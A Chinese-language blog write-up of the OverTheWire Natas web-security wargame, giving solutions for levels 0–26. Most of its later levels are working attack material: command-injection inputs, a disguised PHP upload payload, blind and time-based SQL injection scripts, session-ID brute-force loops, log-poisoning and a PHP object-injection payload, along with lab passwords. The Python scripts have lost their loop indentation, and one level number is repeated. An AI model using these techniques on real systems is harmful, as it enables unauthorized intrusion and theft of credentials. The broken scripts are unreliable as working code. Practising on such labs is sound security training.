Natas

Posted by rk700 on July 7, 2014
  • natas0
    查看网页源代码即可
  • natas1
    鼠标右键被禁止了,我是把网页保存下来看的
  • natas2
    说当前页面没东西,看了源码似乎确实,但有一个图片在files文件夹下面,访问那个文件夹就可以发现密码
  • natas3
    当前页面还是没东西,连google都找不到,于是去看robots.txt,发现文件夹,访问发现密码
  • natas4
    修改referer即可,密码是
  • natas5
    在cookie里改logged,得到密码为
  • natas6
    看代码,然后直接去看include的文件,得到secret是FOEIUWGHFEEUHOFUOIU,输入得到密码
  • natas7
    提示有说是LFI,直接把目标文件作为page参数传递,得到密码
  • natas8
    看源代码,做逆运算,提交得到密码
  • natas9
    command injection。我输入的是'.*' /etc/natas_webpass/natas10; rm,得到密码
  • natas10
    这次会有过滤。由于密码很长(32bytes),我们可以通过输出两个文件中32bytes长的内容获得密码。输入
    '[a-z0-9]\{32\}' /etc/natas_webpass/natas11
    这里是grep所以用\{n,m\},如果是egrep则直接用{n,m}
  • natas11
    这道题关键是构造cookie,而处理cookie时要用到$key,所以首先我们要获得那个$key。用的是XOR,明文和密文都有,于是由下列代码得到$key=qw8J。然后就可以构造我们的cookie,使showpassword=yes,得到密码
<?php
$data = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$cookie = 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=';

$json = json_encode($data);
$bin = base64_decode($cookie);
$key = '';

for($i=0; $i<strlen($json);$i++) {
    $key .= $json[$i] ^ $bin[$i];
}

echo $key;
?>
  • natas12
    上传文件
    <?php include('/etc/natas_webpass/natas13'); ?>
    

    用burp截获,更改后缀。得到密码

  • natas13
    这次会用exif_imagetype做检查。查了下jpeg文件的格式,是以\xff\xd8开始,\xff\xd9结束,中间包含许多segments,每一个都是以\xff开始 于是我们用一个包含payload的文件,文件开始和结束处符合jpeg的magic number, 访问上传文件可得密码
perl -e 'print "\xff\xd8\xff" . "<?php include(\"/etc/natas_webpass/natas14\"); ?>" . "\xff\xd9"' | curl \
-su natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY -F filename=1.php -F 'uploadedfile=@-;filename=1.php' \
http://natas13.natas.labs.overthewire.org
  • natas15
    SQL注入,username输入" or 1=1-- ,得到密码

  • natas16
    SQL盲注,代码如下, 第一次试的时候,大小写全反了。检查后发现在mysql里,有"W">"k",这和我想象中不同,我想的是用ascii的值比较的

#!/usr/bin/env python2

import urllib
import urllib2
import base64

def makePayload(statement):
    return 'natas16" and (substr(password, %d, 1))%s"%s"#' % (statement[0], statement[1], statement[2])

def checkResponse(response):
    return response.find("This user exists.") != -1

def doAssert(statement):
    url = 'http://natas15.natas.labs.overthewire.org'
    values = {'username':makePayload(statement)}

    data = urllib.urlencode(values)
    req = urllib2.Request(url, data)

    username = "natas15"
    password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"
    base64string = base64.encodestring('%s:%s' % (username, password)).replace('\n', '')
    req.add_header('Authorization',"Basic %s" % base64string)
    req.add_header('Content-Type','application/x-www-form-urlencoded')

    response = urllib2.urlopen(req)
    content = response.read()

    return checkResponse(content)

if __name__ == "__main__":
    alphalist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY"
    result = []
    for idx in range(1,33):
    start = 0
    end = len(alphalist) #[start, end)
    while (start < end):
    if (end - start == 1):
        result.append(alphalist[start])
        print alphalist[start]
        break
    else:
        middle = (start + end)/2
        if(doAssert([idx, '<', alphalist[middle]])):
            end = middle
        else:
            start = middle
    print ''.join(result)
  • natas17
    还是盲注的思想,由于把很多控制字符都过滤了。具体地,用cut -c1来截取某一列,由于只有一行,所以可以得到某一个字符;然后二分查找。bash比较字符串用,为了防止解释为重定向,要用[ $1 \< $2 ]或者[ $1 '<' $2 ],而引号都被过滤了,所以只能用\<了。 另外bash比较是按ascii码来比较的。

    代码如下

#!/usr/bin/env python2

import urllib
import urllib2
import base64

def makePayload(statement):
    return "$(c=$(cut -c%d /etc/natas_webpass/natas17)\nif [ $c \\%s %s ]\nthen echo telecommunications\nelse echo zzz\nfi)" % (statement[0], statement[1], statement[2])

def checkResponse(response):
    return response.find("telecommunications") != -1

def doAssert(statement):
    url = 'http://natas16.natas.labs.overthewire.org'
    values = {'needle':makePayload(statement)}

    data = urllib.urlencode(values)
    req = urllib2.Request(url, data)

    username = "natas16"
    password = "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"
    base64string = base64.encodestring('%s:%s' % (username, password)).replace('\n', '')
    req.add_header('Authorization',"Basic %s" % base64string)
    req.add_header('Content-Type','application/x-www-form-urlencoded')

    response = urllib2.urlopen(req)
    content = response.read()
    return checkResponse(content)

if __name__ == "__main__":
    alphalist = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxy"
    result = []
    for idx in range(1,33):
    start = 0
    end = len(alphalist) #[start, end)
    while (start < end):
    if (end - start == 1):
    result.append(alphalist[start])
    print alphalist[start]
    break
    else:
    middle = (start + end)/2
    if(doAssert([idx, '<', alphalist[middle]])):
        end = middle
    else:
        start = middle
    print ''.join(result)
    
  • natas18
    把回显注释掉了,所以只能用time based。代码如下
#!/usr/bin/env python2
import urllib
import urllib2
import base64
import time

def makePayload(statement):
    return 'natas18" and if(ascii(substr(password, %d, 1))%s%d, sleep(4), 1)#' % statement

def doAssert(statement):
    url = 'http://natas17.natas.labs.overthewire.org'
    values = {'username':makePayload(statement)}

    data = urllib.urlencode(values)
    req = urllib2.Request(url, data)

    username = "natas17"
    password = "8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw"
    base64string = base64.encodestring('%s:%s' % (username, password)).replace('\n', '')
    req.add_header('Authorization',"Basic %s" % base64string)
    req.add_header('Content-Type','application/x-www-form-urlencoded')

    start = time.time()
    response = urllib2.urlopen(req)
    content = response.read()
    end = time.time()

    return end-start > 3.5

if __name__ == "__main__":
    alphalist = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxy"
    result = []
    for idx in range(1,33):
    start = 0
    end = len(alphalist) #[start, end)
    while (start < end):
    if (end - start == 1):
    result.append(alphalist[start])
    print alphalist[start]
    break
    else:
    middle = (start + end)/2
    if(doAssert((idx, '<', ord(alphalist[middle])))):
        end = middle
    else:
        start = middle
    print ''.join(result)
  • natas18
    暴力破解,session id最大只有640
#!/bin/bash

for i in `seq 640`; do
    curl -su natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP -b "PHPSESSID=$i" http://natas18.natas.labs.overthewire.org | grep -i 'Password:'
done

跑了好几分钟……

  • natas19
    同上题类似,不过session id不再是数字了。观察发现他是id-admin每个字符hex表示。还是暴力破解:
#!/bin/bash

for i in `seq 640`; do
    id=`echo -n "$i-admin" | hexdump -v -e '1/1 "%02x" ""'`
    curl -su natas19:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs -b "PHPSESSID=$id" http://natas19.natas.labs.overthewire.org | grep -i 'Password:'
    if [ $? -eq 0 ]; then
        break
    fi
done
  • natas20
    传入参数存在注入,可添加值到session中。具体地,先将username设为”a\nadmin 1”,提交后再重新载入页面,可得密码
  • natas21
    本身没看出来问题,但colocated的那里可任意修改session的值。在那里我们把admin设为1,然后用同样的session id访问原先的页面即可。
  • natas22
    想要显示密码,就要设query,但这就会先redirect。于是我们不去跳转:
    curl -su natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ http://natas22.natas.labs.overthewire.org?revelio=1
  • natas23
    PHP自动类型转换。只要字符串以数字开头,且数字大于10即可。输入12iloveyou得到密码
  • natas24
    PHP5.3之后,strcmp在比较数组与字符串时,会返回0。于是把passwd作为一个数组传递就行
  • natas25
    LFI,虽然../背替换成空,但可以用..././绕过。关键是检测到natas_webpass就终止了,所以不能直接include密码文件 但另一方面,我们可以通过user-agent写任意内容到服务器,这样就可以了。具体地,先request一个非法的query,user-agent设为<php include('/etc/natas_webpass/natas26'); ?>,这样payload就会被写入日志文件,而这个文件的名字是可从session id获知的。

    接下来,LFI我们的日志文件,就读到了密码

  • natas26
    定义了一个类Logger,却完全没用,所以是object injection。 具体地,__destruct会被调用,也就是我们可以写东西。看下面发现img文件夹应该是可写的,那我们就在其下写一个php文件。

    我开始是想直接写一个include密码的文件,但传进去后似乎报错;echo字符串都能用,不知道是为什么……好在写文件是append,所以分了两次,把payload写到文件里。下面是第二次的

<?php
class Logger{
private $logFile = 'img/2.php';
private $initMsg; 
private $exitMsg = ' echo file_get_contents($s);?>';
}

$s = new Logger();
echo base64_encode(serialize($s));
?>